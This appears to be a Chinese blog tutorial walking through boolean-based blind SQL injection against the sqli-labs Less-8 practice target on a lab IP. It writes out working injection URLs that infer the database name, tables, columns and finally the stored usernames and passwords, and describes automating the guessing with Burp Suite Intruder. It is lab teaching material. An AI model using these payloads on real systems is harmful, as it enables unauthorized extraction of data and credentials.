SQL注入之布尔盲注入(一)

关于函数substring用法:
eg:substring(appache,1,3) 结果:app 即从第一位开始截取三位
SQL注入之布尔盲注入(一)_第1张图片
以sqli-labs-master中第八关为例进行演示:
1.判断数据库名长度
SQL注入之布尔盲注入(一)_第2张图片

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and length(database())=8 --+

当长度为9时页面返回值为假,得知数据库名长度为8

2.判断数据库名的第一个字母是否为a(或A) ?

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='a'--+

SQL注入之布尔盲注入(一)_第3张图片
根据查询结果返回值为假,则数据库名第一个字母不是a,更改要判断的字母以及判断位置,直到将数据库名查询出来。真值结果如下所示。
SQL注入之布尔盲注入(一)_第4张图片
3.在这里可以借助burp suite实现快速查询,避免手动查询的繁琐
在字符a上添加一个payload标记
SQL注入之布尔盲注入(一)_第5张图片
在intruder设置中选择payload为从a-z,开始攻击
SQL注入之布尔盲注入(一)_第6张图片
根据返回值的长度判断出数据库名第一个字符为s,改变判断位置再次执行相同的攻击,根据返回值长度判断出数据库名第二个字符为e,其余的字符只需更改判断位置即可,不再赘述。
SQL注入之布尔盲注入(一)_第7张图片
4.已知数据库名为security,现在开始获取表名

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema='security') ,1,1)='a'--+

判断第一张表的第一个字符是否为a,修改判断位置,其余方法一致,直到所有的表被判断出来,在这里提醒一个技巧,可在payload中加入一个英文逗号,以此来判断表名是否结束,比如在判断为止为7的时候,判断出来的字符为’,’ 即表示第一张表结束 完整表名为emails
SQL注入之布尔盲注入(一)_第8张图片
5.已知数据库名,表名,查询表中的字段,方法同上

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ,1,1)='a'--+

6.已知数据库名、表名、表中字段,现查users表中username和password字段中的内容,账号密码以’^'隔开以便区分,至此注入完毕。

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(username,'^',password) from security.users) ,1,1)='c'--+

提示:
1.以上的字符判断不区分大小写,但账号密码大小写敏感,对于密码大小写可用ASCII码进行判断
2.盲注入较为繁琐,了解原理之后可采用自动化注入

SQL注入之布尔盲注入(一)_第9张图片

你可能感兴趣的:(WEB安全)